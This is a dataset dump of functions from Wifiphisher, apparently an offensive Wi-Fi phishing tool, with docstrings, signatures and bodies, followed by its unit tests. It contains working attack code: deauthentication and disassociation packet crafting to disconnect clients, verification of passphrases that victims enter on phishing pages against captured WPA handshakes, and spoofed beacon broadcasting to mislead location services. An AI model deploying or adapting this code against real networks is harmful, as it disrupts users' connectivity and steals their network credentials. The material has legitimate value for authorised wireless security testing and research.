desc
stringlengths 3
26.7k
| decl
stringlengths 11
7.89k
| bodies
stringlengths 8
553k
|
|---|---|---|
'Add all the user templates to the database.
:param self: A TemplateManager object
:type: self: TemplateManager
:return: None
:rtype: None'
| def add_user_templates(self):
| user_templates = self.find_user_templates()
for template in user_templates:
local_template = PhishingTemplate(template)
self._templates[template] = local_template
|
'Delete any extra files on exit
:param self: A TemplateManager object
:type: self: TemplateManager
:return: None
:rtype: None'
| def on_exit(self):
| for (templ_name, templ_obj) in self._templates.iteritems():
templ_obj.remove_extra_files()
|
'Setup the class with all the given arguments
:param self: An AccessPoint object
:param ssid: The name of the access point
:param bssid: The MAC address of the access point
:param channel: The channel number of the access point
:param encryption: The encryption type of the access point
:type self: AccessPoint
:type ssid: string
:type bssid: string
:type channel: string
:type encryption: string'
| def __init__(self, ssid, bssid, channel, encryption, capture_file=False):
| self._name = ssid
self._mac_address = bssid
self._channel = channel
self._encryption = encryption
self._signal_strength = None
self._clients = set()
if capture_file:
with open(capture_file, 'a') as f:
f.write((((bssid + ' ') + ssid) + '\n'))
|
'Return the name(ESSID) of the access point
:param self: An AccessPoint object
:type self: AccessPoint
:return: Name of the access point
:rtype: string'
| def get_name(self):
| return self._name
|
'Return the MAC address(BSSID) of the access point
:param self: An AccessPoint object
:type self: AccessPoint
:return: MAC address of the access point
:rtype: string'
| def get_mac_address(self):
| return self._mac_address
|
'Return the channel of the access point
:param self: An AccessPoint object
:type self: AccessPoint
:return: Channel of the access point
:rtype: string'
| def get_channel(self):
| return self._channel
|
'Return the encryption type of the access point
:param self: An AccessPoint object
:type self: AccessPoint
:return: Encryption type of the access point
:rtype: string'
| def get_encryption(self):
| return self._encryption
|
'Return the access point\'s signal strength
:param self: An AccessPoint object
:type self: AccessPoint
:return: Access point\'s singnal strength
:rtype: string'
| def get_signal_strength(self):
| return self._signal_strength
|
'Set the access point\'s sinnal strength
:param self: An AccessPoint object
:param power: The signal strength of access point
:type self: AccessPoint
:type power: string
:return: None
:rtype: None'
| def set_signal_strength(self, power):
| self._signal_strength = power
|
'Adds the client if client is new
:param self: An AccessPoint object
:param client: A client\'s MAC address
:type self: AccessPoint
:type client: string
:return: None
:rtype: None'
| def add_client(self, client):
| self._clients.add(client)
|
'Return the number of connected clients to get access point
:param self: An AccessPoint object
:type self: AccessPoint
:return: Number of connected clients
:rtype: int'
| def get_number_connected_clients(self):
| return len(self._clients)
|
'Setup the class with all the given arguments
:param self: An AccessPointFinder object
:param ap_interface: A NetworkAdapter object
:param network_manager: A NetworkManager object
:type self: AccessPointFinder
:type ap_interface: str
:type: network_manager: NetworkManager
:return: None
:rtype: None'
| def __init__(self, ap_interface, network_manager):
| self._interface = ap_interface
self._observed_access_points = list()
self._capture_file = False
self._should_continue = True
self._hidden_networks = list()
self._sniff_packets_thread = None
self._channel_hop_thread = None
self._network_manager = network_manager
self._non_client_addresses = (constants.WIFI_BROADCAST, constants.WIFI_INVALID, constants.WIFI_IPV6MCAST1, constants.WIFI_IPV6MCAST2, constants.WIFI_SPANNINGTREE, constants.WIFI_MULTICAST)
|
'Process a RadioTap packet to find access points
:param self: An AccessPointFinder object
:param packet: A scapy.layers.RadioTap object
:type self: AccessPointFinder
:type packet: scapy.layers.RadioTap
:return: None
:rtype: None'
| def _process_packets(self, packet):
| if packet.haslayer(dot11.Dot11Beacon):
if hasattr(packet.payload, 'info'):
if ((not packet.info) or ('\x00' in packet.info)):
if (packet.addr3 not in self._hidden_networks):
self._hidden_networks.append(packet.addr3)
else:
self._create_ap_with_info(packet)
elif packet.haslayer(dot11.Dot11ProbeResp):
if (packet.addr3 in self._hidden_networks):
self._create_ap_with_info(packet)
elif packet.haslayer(dot11.Dot11):
self._find_clients(packet)
|
'Parse the rssi info from the packet
:param self: An AccessPointFinder object
:param packet: A scapy.layers.RadioTap object
:type self: AccessPointFinder
:type packet: scapy.layers.RadioTap
:return: rssi
:rtype: int'
| def _parse_rssi(self, packet):
| tmp = ord(packet.notdecoded[(-4):(-3)])
tmp1 = ord(packet.notdecoded[(-2):(-1)])
rssi = (- (256 - max(tmp, tmp1)))
return rssi
|
'Create and add an access point using the extracted information
:param self: An AccessPointFinder object
:param packet: A scapy.layers.RadioTap object
:type self: AccessPointFinder
:type packet: scapy.layers.RadioTap
:return: None
:rtype: None'
| def _create_ap_with_info(self, packet):
| elt_section = packet[dot11.Dot11Elt]
try:
channel = str(ord(packet[dot11.Dot11Elt:3].info))
except (TypeError, IndexError):
return
mac_address = packet.addr3
name = None
encryption_type = None
non_decodable_name = '<contains non-printable chars>'
rssi = self._parse_rssi(packet)
new_signal_strength = self._calculate_signal_strength(rssi)
try:
name = elt_section.info.decode('utf8')
except UnicodeDecodeError:
name = non_decodable_name
for access_point in self._observed_access_points:
if (mac_address == access_point.get_mac_address()):
current_signal_strength = access_point.get_signal_strength()
signal_strength_difference = (new_signal_strength - current_signal_strength)
if (signal_strength_difference > 5):
access_point.set_signal_strength(new_signal_strength)
return None
encryption_type = self._find_encryption_type(packet)
access_point = AccessPoint(name, mac_address, channel, encryption_type, capture_file=self._capture_file)
access_point.set_signal_strength(new_signal_strength)
self._observed_access_points.append(access_point)
|
'Return the encryption type of the access point
:param self: An AccessPointFinder object
:param packet: A scapy.layers.RadioTap object
:type self: AccessPointFinder
:type packet: scapy.layers.RadioTap
:return: encryption type of the access point
:rtype: string
.. note: Possible return values are WPA2, WPA, WEP and OPEN'
| def _find_encryption_type(self, packet):
| encryption_info = packet.sprintf('%Dot11Beacon.cap%')
elt_section = packet[dot11.Dot11Elt]
encryption_type = None
while isinstance(elt_section, dot11.Dot11Elt):
if (elt_section.ID == 48):
encryption_type = 'WPA2'
break
elif ((elt_section.ID == 221) and elt_section.info.startswith('\x00P\xf2\x01\x01\x00')):
encryption_type = 'WPA'
break
elt_section = elt_section.payload
if (not encryption_type):
if ('privacy' in encryption_info):
encryption_type = 'WEP'
else:
encryption_type = 'OPEN'
return encryption_type
|
'Sniff packets one at a time until otherwise set
:param self: An AccessPointFinder object
:type self: AccessPointFinder
:return: None
:rtype: None'
| def _sniff_packets(self):
| while self._should_continue:
dot11.sniff(iface=self._interface, prn=self._process_packets, count=1, store=0)
|
'Find all the visible and hidden access points
:param self: An AccessPointFinder object
:type self: AccessPointFinder
:return: An tuple of sniff and channel hop threads
:rtype: tuple'
| def find_all_access_points(self):
| self._sniff_packets_thread = threading.Thread(target=self._sniff_packets)
self._sniff_packets_thread.start()
self._channel_hop_thread = threading.Thread(target=self._channel_hop)
self._channel_hop_thread.start()
|
'Stops looking for access points.
:param self: An AccessPointFinder object
:type self: AccessPointFinder
:return: None
:rtype: None'
| def stop_finding_access_points(self):
| self._should_continue = False
self._channel_hop_thread.join(10)
self._sniff_packets_thread.join(10)
|
'Return a list of all access points
:param self: An AccessPointFinder object
:type self: AccessPointFinder
:return: list of access points
:rtype: list
.. note: A list of AccessPoint objects will be returned'
| def get_all_access_points(self):
| return self._observed_access_points
|
'Change the interface\'s channel every three seconds
:param self: An AccessPointFinder object
:type self: AccessPointFinder
:return: None
:rtype: None
.. note: The channel range is between 1 to 13'
| def _channel_hop(self):
| while self._should_continue:
for channel in constants.ALL_2G_CHANNELS:
if self._should_continue:
self._network_manager.set_interface_channel(self._interface, channel)
time.sleep(3)
else:
break
|
'calculate the signal strength of access point
:param self: An AccessPointFinder object
:type self: AccessPointFinder
:return: Signal strength of access point
:rtype: int'
| def _calculate_signal_strength(self, rssi):
| if (rssi <= (-100)):
signal_strength = 0
elif (rssi >= (-50)):
signal_strength = 100
else:
signal_strength = (2 * (rssi + 100))
return signal_strength
|
'Find and add if a client is discovered
:param self: An AccessPointFinder object
:param packet: A scapy.layers.RadioTap object
:type self: AccessPointFinder
:type packet: scapy.layers.RadioTap
:return: None
:rtype: None'
| def _find_clients(self, packet):
| receiver = packet.addr1
sender = packet.addr2
if (sender and receiver):
receiver_identifier = receiver[:8]
sender_identifier = sender[:8]
else:
return None
if ((receiver_identifier, sender_identifier) not in self._non_client_addresses):
for access_point in self._observed_access_points:
access_point_mac = access_point.get_mac_address()
if (access_point_mac == receiver):
access_point.add_client(sender)
elif (access_point_mac == sender):
access_point.add_client(receiver)
|
'Return all access points sorted based on signal strength
:param self: An AccessPointFinder object
:type self: AccessPointFinder
:return: None
:rtype: None'
| def get_sorted_access_points(self):
| sorted_access_points = sorted(self._observed_access_points, key=(lambda ap: ap.get_signal_strength()), reverse=True)
return sorted_access_points
|
'Setup the class with all the given arguments.
:param self: A Deauthentication object.
:param data: Shared data from main engine
:type self: Deauthentication
:type data: dictionary
:return: None
:rtype: None'
| def __init__(self, data):
| self._observed_clients = list()
self._deauthentication_packets = list()
self._should_continue = True
self._non_client_addresses = constants.NON_CLIENT_ADDRESSES
self._data = data
self._is_frenzy = False
if data.target_ap_bssid:
self.packets_to_send = self._craft_packet(self._data.target_ap_bssid, constants.WIFI_BROADCAST, self._data.target_ap_bssid)
else:
self._is_frenzy = True
self.packets_to_send = []
|
'Craft a deauthentication and a disassociation packet and add
them to the list of deauthentication packets
:param self: A Deauthentication object
:param sender: The MAC address of the sender
:param receiver: The MAC address of the receiver
:param bssid: The MAC address of the AccessPoint
:type self: Deauthentication
:type sender: string
:type receiver: string
:type bssid: string
:return: None
:rtype: None'
| @staticmethod
def _craft_packet(sender, receiver, bssid):
| deauth_packet = ((dot11.RadioTap() / dot11.Dot11(type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid)) / dot11.Dot11Deauth())
disassoc_packet = ((dot11.RadioTap() / dot11.Dot11(type=0, subtype=10, addr1=receiver, addr2=sender, addr3=bssid)) / dot11.Dot11Disas())
return [disassoc_packet, deauth_packet]
|
'Process the Dot11 packets and add any desired clients to
observed_clients.
:param self: A Deauthentication object.
:param packet: A scapy.layers.RadioTap object.
:type self: Deauthentication
:type packet: scapy.layers.RadioTap
:return: list with the crafted Deauth/Disas packets
:rtype: list
.. note: addr1 = Destination address
addr2 = Sender address
Also this finds devices that are not associated with any
access point as they respond to the access point probes.'
| def get_packet(self, packet):
| channels = []
if packet.haslayer(dot11.Dot11):
receiver = packet.addr1
sender = packet.addr2
if self._is_frenzy:
bssid = packet.addr3
try:
channel = ord(packet[dot11.Dot11Elt][2].info)
if (channel not in constants.ALL_2G_CHANNELS):
return (channels, self.packets_to_send)
channels.append(str(channel))
except (TypeError, IndexError):
return (channels, self.packets_to_send)
if (bssid == self._data.rogue_ap_mac):
return (channels, self.packets_to_send)
else:
bssid = self._data.target_ap_bssid
channels.append(self._data.target_ap_channel)
non_valid_list = (self._non_client_addresses + self._observed_clients)
if ((receiver not in non_valid_list) and (sender not in non_valid_list)):
if (receiver == bssid):
self._observed_clients.append(sender)
self.packets_to_send += self._craft_packet(sender, receiver, bssid)
self.packets_to_send += self._craft_packet(receiver, sender, bssid)
elif (sender == bssid):
self._observed_clients.append(receiver)
self.packets_to_send += self._craft_packet(receiver, sender, bssid)
self.packets_to_send += self._craft_packet(sender, receiver, bssid)
return (channels, self.packets_to_send)
|
'Get all the observed clients.
:param self: A Deauthentication object.
:type self: Deauthentication
:return: A list with all the Deauth/Disas entries.
:rtype: list'
| def send_output(self):
| return [('DEAUTH/DISAS - ' + c) for c in self._observed_clients]
|
'Send channels to subscribe.
:param self: A Deauthentication object.
:type self: Deauthentication
:return: A list with all interested channels.
:rtype: list'
| def send_channels(self):
| if self._is_frenzy:
return [str(k) for k in constants.ALL_2G_CHANNELS]
return [self._data.target_ap_channel]
|
'Setup the class with all the given arguments.
:param self: A Handshakeverify object.
:param data: Shared data from main engine
:type self: Handshakeverify
:type data: dictionary
:return: None
:rtype: None'
| def __init__(self, data):
| self._eapols = deque()
self._store_eapols = []
self._data = data
self._is_done = NOT_YET
self._is_captured = False
self._is_first = True
|
'Calculate the PTK from the PMK
:param key: PMK
:param const_a: Constant defined in 802.11
:param const_b: Constant define in 802.11
:type key: str
:type const_a: str
:type const_b: str
:return: PTK
:rtype: str'
| @staticmethod
def _prf512(key, const_a, const_b):
| blen = 64
index = 0
return_array = ''
while (index <= (((blen * 8) + 159) / 160)):
hmacsha1 = hmac.new(key, (((const_a + chr(0)) + const_b) + chr(index)), hashlib.sha1)
index += 1
return_array = (return_array + hmacsha1.digest())
return return_array[:blen]
|
'Verify the passphrase given by users is corrected
:param packet: A scapy.layers.RadioTap object
:param passphrase: passphrase from phishinghttp
:type self: Handshakeverify
:type passphrase: str
:return True if verifcation is done
:rtype: bool
..note: Since scapy doesn\'t parse the EAPOL key data for us we need
to index the field by ourself. It is possible that the frame
is malformed so catch the IndexError to prevent this.'
| def _verify_creds(self, passphrase):
| try:
essid = self._data.target_ap_essid
ap_mac = binascii.a2b_hex(''.join(self._data.target_ap_bssid.split(':')))
ap_nonce = self._eapols[0].load[13:45]
client_mac = binascii.a2b_hex(''.join(self._eapols[0].addr1.split(':')))
client_nonce = self._eapols[1].load[13:45]
const_b = (((min(ap_mac, client_mac) + max(ap_mac, client_mac)) + min(ap_nonce, client_nonce)) + max(ap_nonce, client_nonce))
pmk = PBKDF2(passphrase, essid, 4096).read(32)
ptk = self._prf512(pmk, constants.CONST_A, const_b)
msg4 = self._eapols[3]
key_version = (1 if (ord(msg4.load[2]) & 7) else 0)
msg4_data = ((format(msg4[dot11.EAPOL].version, '02x') + format(msg4[dot11.EAPOL].type, '02x')) + format(msg4[dot11.EAPOL].len, '04x'))
msg4_data += binascii.b2a_hex(msg4.load)[:154]
msg4_data += ('00' * 18)
msg4_data = binascii.a2b_hex(msg4_data)
if key_version:
msg4_mic_cal = hmac.new(ptk[0:16], msg4_data, hashlib.sha1).hexdigest()[:32]
else:
msg4_mic_cal = hmac.new(ptk[0:16], msg4_data).hexdigest()[:32]
msg4_mic_cmp = binascii.b2a_hex(msg4.load[(-18):(-2)])
if (msg4_mic_cmp == msg4_mic_cal):
return DONE
return FAIL
except IndexError:
return FAIL
|
'Check if the Dot11 packet is a valid EAPOL KEY frame
:param self: Handshakeverify object
:param packet: A scapy.layers.RadioTap object
:type self: Handshakeverify
:type packet: scapy.layers.RadioTap
:return True if this is an EAPOL KEY frame
:rtype: bool'
| @staticmethod
def is_valid_handshake_frame(packet):
| if (packet.haslayer(dot11.Dot11) and (not (packet.FCfield & (1 << 3)))):
if (packet.haslayer(dot11.EAPOL) and (packet[dot11.EAPOL].type == 3)):
return True
return False
|
'Backend method for verifing the the captured credentials
:param self: Handshakeverify object
:param list_data: list data from phishinghttp
:type self: Handshakeverify
:type list_data: list
:return \'success\' if the password correct else return \'fail\'
:rtype: string'
| @extensions.register_backend_funcs
def psk_verify(self, *list_data):
| while (len(self._eapols) > 3):
ap_bssid = self._data.target_ap_bssid
msg1 = self._eapols[0]
msg2 = self._eapols[1]
msg3 = self._eapols[2]
msg4 = self._eapols[3]
if ((msg1.addr2 == ap_bssid) and (msg3.addr2 == ap_bssid) and (msg2.addr1 == ap_bssid) and (msg4.addr1 == ap_bssid)):
self._is_done = self._verify_creds(list_data[0])
self._is_captured = True
pop_pkt = self._eapols.popleft()
self._store_eapols.append(pop_pkt)
if (self._is_done == DONE):
return 'success'
else:
pop_pkt = self._eapols.popleft()
self._store_eapols.append(pop_pkt)
self._eapols = deque((self._store_eapols + list(self._eapols)))
self._store_eapols = []
if self._is_captured:
return 'fail'
return 'not-captured'
|
'Process the Dot11 packets and verifiy it is a valid
eapol frames in a 80211 fourway handshake
:param self: Handshakeverify object
:param packet: A scapy.layers.RadioTap object
:type self: Handshakeverify
:type packet: scapy.layers.RadioTap
:return: empty list
:rtype: list
..note: In this extension we don\'t need to send the packets
to the extension manager.'
| def get_packet(self, packet):
| if (self._is_first and self._data.args.handshake_capture):
pkts = dot11.rdpcap(self._data.args.handshake_capture)
for pkt in pkts:
if self.is_valid_handshake_frame(pkt):
self._eapols.append(pkt)
self._is_first = False
if (self._is_done != DONE):
if self.is_valid_handshake_frame(packet):
self._eapols.append(packet)
num_of_frames = len(self._eapols)
for index in range(num_of_frames):
if ((num_of_frames - index) > 3):
ap_bssid = self._data.target_ap_bssid
msg1 = self._eapols[index]
msg2 = self._eapols[(index + 1)]
msg3 = self._eapols[(index + 2)]
msg4 = self._eapols[(index + 3)]
if ((msg1.addr2 == ap_bssid) and (msg3.addr2 == ap_bssid) and (msg2.addr1 == ap_bssid) and (msg4.addr1 == ap_bssid)):
self._is_captured = True
else:
break
return [['*'], []]
|
'Send the output the extension manager
:param self: A Handshakeverify object.
:type self: Handshakeverify
:return: A list with the password checking information
:rtype: list'
| def send_output(self):
| ret_info = []
pw_str = 'ESSID: {0}'.format(self._data.target_ap_essid)
if (self._is_captured and (self._is_done == FAIL)):
ret_info = [(('PSK Captured - ' + pw_str) + ' NOT correct!')]
elif (self._is_captured and (self._is_done == NOT_YET)):
ret_info = [(('PSK Captured - ' + pw_str) + ' Wait for credential')]
elif (self._is_captured and (self._is_done == DONE)):
ret_info = [(('PSK Captured - ' + pw_str) + ' correct')]
else:
ret_info = ['WAIT for HANDSHAKE']
return ret_info
|
'Send channels to subscribe
:param self: A Handshakeverify object.
:type self: Handshakeverify
:return: empty list
:rtype: list
..note: we don\'t need to send frames in this extension'
| def send_channels(self):
| return []
|
'Setup the class with all the given arguments.
:param self: A Lure10 object.
:param data: Shared data from main engine
:type self: Deauthentication
:type data: dictionary
:return: None
:rtype: None'
| def __init__(self, shared_data):
| self.first = True
self.first_output = True
self.data = shared_data
self.beacons_num = 0
|
'We start broadcasting the beacons on the first received packet.
:param self: A Lure10 object.
:param packet: A scapy.layers.RadioTap object.
:type self: Lure10
:type packet: scapy.layers.RadioTap
:return: list with the crafted beacon frames
:rtype: list'
| def get_packet(self, pkt):
| beacons = []
if self.first:
if self.data.args.lure10_exploit:
area_file = (constants.LOCS_DIR + self.data.args.lure10_exploit)
with open(area_file) as a_file:
wlans = [x.strip() for x in a_file.readlines()]
for wlan in wlans:
(bssid, essid) = wlan.split(' ', 1)
frequency = struct.pack('<h', (2407 + (7 * 5)))
ap_rates = '\x0c\x12\x18$0H`l'
frame = (((((dot11.RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded=(('\x00l' + frequency) + '\xc0\x00\xc0\x01\x00\x00')) / dot11.Dot11(subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=bssid, addr3=bssid)) / dot11.Dot11Beacon(cap=8453)) / dot11.Dot11Elt(ID='SSID', info='')) / dot11.Dot11Elt(ID='Rates', info=ap_rates)) / dot11.Dot11Elt(ID='DSset', info=chr(7)))
beacons.append(frame)
self.beacons_num = len(beacons)
self.first = False
return (['*'], beacons)
|
'Sending a Lure10 note only on the first time.
:param self: A Lure10 object.
:type self: Lure10
:return: list
:rtype: list'
| def send_output(self):
| if (self.data.args.lure10_exploit and self.first_output):
self.first_output = False
return [(('Lure10 - Sending ' + str(self.beacons_num)) + ' beacons to spoof location service')]
|
'Send all interested channels
:param self: A Lure10 object.
:type self: Lure10
:return: A list with all the channels interested.
:rtype: list'
| def send_channels(self):
| return [self.data.target_ap_channel]
|
'Set up the tests'
| def setUp(self):
| self.adapter_name = 'wlan0'
self.card = 'CARD'
self.mac_address = '00:00:00:00:00:00'
self.adapter = interfaces.NetworkAdapter(self.adapter_name, self.card, self.mac_address)
|
'Test the name of the interface'
| def test_name_value(self):
| message = 'Failed to get correct adapter name!'
self.assertEqual(self.adapter.name, self.adapter_name, message)
|
'Test is_managed_by_nm variable when adapter is not managed by NetworkManager'
| def test_is_managed_by_nm_false(self):
| message = 'Failed to get False for adaptor is not managed by NetworkManager'
self.assertFalse(self.adapter.has_ap_mode, message)
|
'Test is_managed_by_nm variable when adapter is managed by NetworkManager'
| def test_is_managed_by_nm_true(self):
| self.adapter.is_managed_by_nm = True
message = 'Fail to get True when adapter is managed by NetworkManager'
self.assertTrue(self.adapter.is_managed_by_nm, message)
|
'Test setting is_managed_by_nm variable with invalid value'
| def test_is_managed_by_nm_set_invalid_value_error(self):
| with self.assertRaises(interfaces.InvalidValueError):
self.adapter.is_managed_by_nm = 'Invalid Value'
|
'Test has_ap_mode variable when no AP mode support is available'
| def test_has_ap_mode_false(self):
| message = 'Failed to get False for adapter with no AP support!'
self.assertFalse(self.adapter.has_ap_mode, message)
|
'Test has_ap_mode variable when AP mode support is available'
| def test_has_ap_mode_true(self):
| self.adapter.has_ap_mode = True
message = 'Failed to get True for adapter with AP support!'
self.assertTrue(self.adapter.has_ap_mode, message)
|
'Test setting has_ap_mode variable with invalid value'
| def test_has_ap_mode_set_invalid_value_error(self):
| with self.assertRaises(interfaces.InvalidValueError):
self.adapter.has_ap_mode = 'Invalid Value'
|
'Test has_monitor_mode variable when no monitor mode support
is available'
| def test_has_monitor_mode_false(self):
| message = 'Failed to get False for adapter with no monitor support!'
self.assertFalse(self.adapter.has_monitor_mode, message)
|
'Test has_monitor_mode variable when monitor mode support is available'
| def test_has_monitor_mode_true(self):
| self.adapter.has_monitor_mode = True
message = 'Failed to get True for adapter with monitor support!'
self.assertTrue(self.adapter.has_monitor_mode, message)
|
'Test setting has_monitor_mode variable with invalid value'
| def test_has_monitor_mode_set_invalid_value_error(self):
| with self.assertRaises(interfaces.InvalidValueError):
self.adapter.has_monitor_mode = 'Invalid Value'
|
'Test card variable to get the pyric.Card object'
| def test_card_value(self):
| message = 'Failed to get the card object'
self.assertEqual(self.card, self.adapter.card, message)
|
'Test original_mac_address variable to make sure it is properly
set'
| def test_original_mac_address(self):
| message = 'Failed to get the original MAC address'
self.assertEqual(self.adapter.original_mac_address, self.mac_address, message)
|
'Test mac_address variable before a second address is specified'
| def test_mac_address_original(self):
| message = 'Failed to get the current MAC address before modification'
self.assertEqual(self.adapter.mac_address, self.mac_address, message)
|
'Test mac_address variable after a second address is specified'
| def test_mac_address_modified(self):
| new_mac_address = '11:11:11:11:11:11'
self.adapter.mac_address = new_mac_address
message = 'Failed to get the current MAC address after modification'
self.assertEqual(self.adapter.mac_address, new_mac_address, message)
|
'Setup the proxy and objects'
| def setUp(self):
| self.network_manager_proxy = 'NetworkManagerProxy'
self.device_proxy_0 = 'DeviceProxy_0'
self.device_proxy_1 = 'DeviceProxy_1'
self.network_manager = mock.MagicMock()
self.network_manager.GetDevices.return_value = ['wlan0', 'wlan1']
self.network_manager.Get.return_value = True
self.network_manager.Enable.return_value = None
self.interface_0 = 'wlan0'
self.device_0 = mock.MagicMock()
self.device_0.Interface = self.interface_0
self.device_0.Managed = True
self.interface_1 = 'wlan1'
self.device_1 = mock.MagicMock()
self.device_1.Interface = self.interface_1
self.device_1.Managed = False
self.bus = mock.MagicMock()
self.bus.get_object.side_effect = self.get_object()
|
'Simulate dbus.Interface'
| def get_interface(self):
| def interface_side_effect(proxy, dbus_interface=None):
if (proxy == self.network_manager_proxy):
return self.network_manager
elif (proxy == self.device_proxy_0):
self.device_0.Get.side_effect = self.get_device_property(self.device_0)
return self.device_0
elif (proxy == self.device_proxy_1):
self.device_1.Get.side_effect = self.get_device_property(self.device_1)
return self.device_1
return interface_side_effect
|
'Simulate the device.Get method to get the property of
the device object'
| def get_device_property(self, device_obj):
| def device_side_effect(object_path, device_property):
if (device_obj == self.device_0):
if (device_property == 'Interface'):
return self.interface_0
elif (device_property == 'Managed'):
return self.device_0.Managed
elif (device_obj == self.device_1):
if (device_property == 'Interface'):
return self.interface_1
elif (device_property == 'Managed'):
return self.device_1.Managed
return device_side_effect
|
'Simulate the get_object method to get the proxy object'
| def get_object(self):
| def bus_side_effect(proxy_object, obj_path):
if (obj_path == constants.NM_MANAGER_OBJ_PATH):
return self.network_manager_proxy
elif (obj_path == self.interface_0):
return self.device_proxy_0
elif (obj_path == self.interface_1):
return self.device_proxy_1
return bus_side_effect
|
'Test enable_network_manager disabling the NetworkManager'
| @mock.patch('dbus.Interface')
@mock.patch('dbus.SystemBus')
def test_toggle_networking_has_disable_nm_true(self, fake_bus, fake_interface):
| fake_bus.return_value = self.bus
fake_interface.side_effect = self.get_interface()
interfaces.toggle_networking(False)
message = 'function attr has_disable_nm should be true'
self.assertTrue(interfaces.toggle_networking.has_disable_nm, message)
|
'Test is_managed_by_networkmanager with the interface
managed by NetworkManager'
| @mock.patch('dbus.Interface')
@mock.patch('dbus.SystemBus')
def test_is_managed_by_networkmanager_is_managed_true(self, fake_bus, fake_interface):
| fake_bus.return_value = self.bus
fake_interface.side_effect = self.get_interface()
is_managed = interfaces.is_managed_by_network_manager(self.interface_0)
message = 'the managed property should be true'
self.assertTrue(is_managed, message)
|
'Test is_managed_by_networkmanager with the interface
is not managed by NetworkManager'
| @mock.patch('dbus.Interface')
@mock.patch('dbus.SystemBus')
def test_is_managed_by_networkmanager_is_managed_false(self, fake_bus, fake_interface):
| fake_bus.return_value = self.bus
fake_interface.side_effect = self.get_interface()
is_managed = interfaces.is_managed_by_network_manager(self.interface_1)
message = 'the managed property should be true'
self.assertFalse(is_managed, message)
|
'Test is_managed_by_network_manager function when there
is no network manager'
| @mock.patch('wifiphisher.common.interfaces.dbus.Interface')
def test_is_managed_by_network_manager_no_manager_false(self, my_dbus):
| my_dbus.side_effect = my_dbus.exceptions.DBusException
actual = interfaces.is_managed_by_network_manager('wlan0')
message = 'NetworkManager is not running, the managed property should be false'
self.assertFalse(actual, message)
|
'Test is_managed_by_network_manager function when an
unexpected error happens and checks to see if the
error is raised'
| @mock.patch('wifiphisher.common.interfaces.dbus')
def test_is_managed_by_network_manager_unexpected_error_error(self, my_dbus):
| my_dbus.Interface.side_effect = KeyError
with self.assertRaises(KeyError):
interfaces.is_managed_by_network_manager('wlan0')
|
'Set up the tests'
| def setUp(self):
| card = 'Card'
mac_address = '00:00:00:00:00:00'
self.adapter = interfaces.NetworkAdapter('wlan0', card, mac_address)
|
'Test interface_property_detector function when the interface
has monitor mode support'
| @mock.patch('wifiphisher.common.interfaces.pyw')
def test_interface_property_detector_has_monitor_mode(self, pyric):
| pyric.devmodes.return_value = ['monitor']
interfaces.interface_property_detector(self.adapter)
message = 'Failed to get monitor mode support when interface has support'
self.assertTrue(self.adapter.has_monitor_mode, message)
|
'Test interface_property_detector function when the interface
doesn\'t have monitor mode support'
| @mock.patch('wifiphisher.common.interfaces.pyw')
def test_interface_property_detector_no_monitor_mode(self, pyric):
| pyric.devmodes.return_value = []
interfaces.interface_property_detector(self.adapter)
message = 'Shows interface has monitor mode when it does not'
self.assertFalse(self.adapter.has_monitor_mode, message)
|
'Test interface_property_detector function when the interface
has AP mode support'
| @mock.patch('wifiphisher.common.interfaces.pyw')
def test_interface_property_detector_has_ap_mode(self, pyric):
| pyric.devmodes.return_value = ['AP']
interfaces.interface_property_detector(self.adapter)
message = 'Failed to get AP mode support when interface has support'
self.assertTrue(self.adapter.has_ap_mode, message)
|
'Test interface_property_detector function when the interface
doesn\'t have AP mode support'
| @mock.patch('wifiphisher.common.interfaces.pyw')
def test_interface_property_detector_no_ap_mode(self, pyric):
| pyric.devmodes.return_value = []
interfaces.interface_property_detector(self.adapter)
message = 'Shows interface has AP mode when it does not'
self.assertFalse(self.adapter.has_ap_mode, message)
|
'Set up the tests'
| def setUp(self):
| self.network_manager = interfaces.NetworkManager()
self.mac_address = '00:00:00:00:00:00'
|
'Tests is_interface_valid method when interface is valid'
| def test_is_interface_valid_valid_true(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name] = adapter
actual = self.network_manager.is_interface_valid(interface_name)
message = 'Failed to validate a valid interface'
self.assertTrue(actual, message)
|
'Test is_interface_valid method when interface is already been chosen'
| def test_is_interface_valid_invalid_interface_error(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name] = adapter
self.network_manager._active.add(interface_name)
with self.assertRaises(interfaces.InvalidInterfaceError):
self.network_manager.is_interface_valid(interface_name)
|
'Tests is_interface_valid method when interface is non existent'
| def test_is_interface_valid_no_interface_error(self):
| interface_name = 'wlan0'
with self.assertRaises(interfaces.InvalidInterfaceError):
self.network_manager.is_interface_valid(interface_name)
|
'Tests is_interface_valid method when interface has no AP
mode support but it is required'
| def test_is_interface_valid_no_ap_error(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
adapter.has_ap_mode = False
self.network_manager._name_to_object[interface_name] = adapter
with self.assertRaises(interfaces.InvalidInterfaceError):
self.network_manager.is_interface_valid(interface_name, 'AP')
|
'Tests is_interface_valid method when interface has AP
mode support and it is required'
| def test_is_interface_valid_has_ap_true(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
adapter.has_ap_mode = True
self.network_manager._name_to_object[interface_name] = adapter
actual = self.network_manager.is_interface_valid(interface_name, 'AP')
message = 'Failed to validate an interface with AP mode available and requested'
self.assertTrue(actual, message)
|
'Tests is_interface_valid method when interface has monitor
mode support and it is required'
| def test_is_interface_valid_has_monitor_true(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
adapter.has_monitor_mode = True
self.network_manager._name_to_object[interface_name] = adapter
actual = self.network_manager.is_interface_valid(interface_name, 'monitor')
message = 'Failed to validate an interface with monitor mode available and requested'
self.assertTrue(actual, message)
|
'Tests is_interface_valid method when interface has no monitor
mode support and it is required'
| def test_is_interface_valid_no_monitor_error(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
adapter.has_monitor_mode = False
self.network_manager._name_to_object[interface_name] = adapter
